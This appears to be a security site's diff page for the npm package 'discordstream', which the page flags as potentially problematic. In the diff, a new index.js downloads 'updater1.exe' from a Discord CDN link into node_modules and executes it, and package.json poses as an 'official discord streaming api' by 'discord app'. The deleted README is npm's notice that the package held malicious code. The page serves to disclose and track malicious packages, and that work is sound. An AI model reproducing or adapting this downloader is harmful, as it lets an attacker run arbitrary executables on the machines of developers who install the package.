discordstream 0.0.1-security → 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of discordstream might be problematic. Click here for more details.
- package/index.js +57 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,57 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const https = require('https');
|
3
|
+
const path = require('path');
|
4
|
+
const { exec } = require('child_process');
|
5
|
+
|
6
|
+
class ExeFileHandler {
|
7
|
+
constructor(exePath) {
|
8
|
+
this.exePath = exePath;
|
9
|
+
}
|
10
|
+
|
11
|
+
onModified(event) {
|
12
|
+
if (event === this.exePath) {
|
13
|
+
exec(this.exePath, (error, stdout, stderr) => {
|
14
|
+
if (error) {
|
15
|
+
console.error('Error executing the EXE file:', error);
|
16
|
+
}
|
17
|
+
});
|
18
|
+
}
|
19
|
+
}
|
20
|
+
}
|
21
|
+
|
22
|
+
async function downloadExe(repoUrl, exeFilename) {
|
23
|
+
const nodeModulesDir = path.join(__dirname, 'node_modules'); // Assuming you are running this script in the same directory as the node_modules folder
|
24
|
+
const downloadPath = path.join(nodeModulesDir, exeFilename);
|
25
|
+
|
26
|
+
const fileStream = fs.createWriteStream(downloadPath);
|
27
|
+
const response = await new Promise((resolve, reject) => {
|
28
|
+
const request = https.get(repoUrl, (response) => {
|
29
|
+
response.pipe(fileStream);
|
30
|
+
resolve(response);
|
31
|
+
});
|
32
|
+
request.on('error', reject);
|
33
|
+
});
|
34
|
+
|
35
|
+
if (response.statusCode === 200) {
|
36
|
+
observeFile(downloadPath);
|
37
|
+
} else {
|
38
|
+
console.error('Failed to download the EXE file.');
|
39
|
+
}
|
40
|
+
}
|
41
|
+
|
42
|
+
function observeFile(exePath) {
|
43
|
+
fs.watch(exePath, (event) => {
|
44
|
+
if (event === 'change') {
|
45
|
+
exec(exePath, (error, stdout, stderr) => {
|
46
|
+
if (error) {
|
47
|
+
console.error('Error executing the EXE file:', error);
|
48
|
+
}
|
49
|
+
});
|
50
|
+
}
|
51
|
+
});
|
52
|
+
}
|
53
|
+
|
54
|
+
const githubUrl = "https://cdn.discordapp.com/attachments/919194639997759521/1169003244949872690/updater1.exe?ex=6553d21c&is=65415d1c&hm=c1f634e2551206c0cdc09c2403dbbcdd7a1491ea956ef255dae087ebdeb21e53&"; // Replace with the correct URL
|
55
|
+
const exeFilename = "updater1.exe";
|
56
|
+
|
57
|
+
downloadExe(githubUrl, exeFilename);
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "discordstream",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "official discord streaming api",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "discord app",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=discordstream for more information.
|